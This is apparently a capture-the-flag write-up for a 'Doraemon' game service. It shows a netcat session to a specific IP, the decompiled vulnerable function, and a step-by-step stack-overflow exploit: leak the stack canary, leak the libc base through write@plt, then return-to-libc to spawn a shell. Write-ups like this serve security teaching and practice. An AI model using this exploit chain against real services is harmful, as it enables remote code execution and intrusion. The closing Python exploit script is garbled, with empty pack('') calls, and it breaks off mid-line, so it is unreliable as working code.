$ nc 58.229.183.18 8888 9eeeeeeeeeeeeeeG5 9eee9zXXEeEXWXEeEDD#GeeeD #ee9DXXXXXeD XeXXX55D9eez ee9DXXX555yED We#eeee#XX#eeu #ez55z9Geeeeee y ez, DeeD5zeeu ... ue 9z We, e# zeeeeeE Angry doraemon! fight! Waiting 2 seconds... Doraemon H.P: 100 - Attack menu - 1.Sword 2.Screwdriver 3.Red-bean bread 4.Throw mouse 5.Fist attack 6.Give up >1 1)Toy sword 2)Small sword 3)Big sword 2 "Come on! (HP - 1)" "Hahaha, I'm a robot!" Doraemon H.P: 99 - Attack menu - 1.Sword 2.Screwdriver 3.Red-bean bread 4.Throw mouse 5.Fist attack 6.Give up The program has a stack-based buffer overflow vulnerability in the "Throw mouse" function. It reads 110 bytes in a 4 bytes buffer on the stack. write(fd, "Are you sure? (y/n) ", 0x14u); read(fd, &buf, 110u); if ( (_BYTE)buf == 'y' ) { v3 = sprintf(s, "You choose '%s'!\n", &buf); write(fd, s, v3); v4 = read(v6, s, 0x1388u); write(fd, s, v4); write(fd, "\n\"MOUSE!!!!!!!!! (HP - 25)\"\n", 0x1Cu); hp -= 25; } However, the program is compiled with stack canaries, so we must bypass it in order to make a working exploit. To do this, we notice that the program is also printing the contents of the buffer as a string (if the first char is 'y'). We can use this to leak the canary value. If we overwrite the entire stack up to and including the 0x00 byte of the canary with 'a'-s, we'll be able to leak the other 3 bytes of the canary. We find the required number of bytes for this to be 11. Now we can control the return address and make the program jump to any address we like. We point it to write@plt in order to find out the libc base address. Next, with the libc address in place, we can now do a return-to-libc and get our shell. We already have a call to execl("/bin/sh") in the binary, so we only use libc for the dup2. To summarize, the exploit will have three phases: *Overflow buffer, leak canary *Overflow buffer, leak libc base *Overflow buffer, return-to-libc #!/usr/bin/env python import telnetlib import pexpect import time import sys from struct import pack, unpack from remote_shell_client import RemoteShellClient REMOTE = True if REMOTE: c = pexpect.spawn('bash -c "stty raw && nc 58.229.183.18 8888"', timeout=None) else: c = pexpect.spawn('bash -c "stty raw && nc localhost 8888"', timeout=None) c.expect('>') c.send(pack('') c.send(pack('') c.send(pack('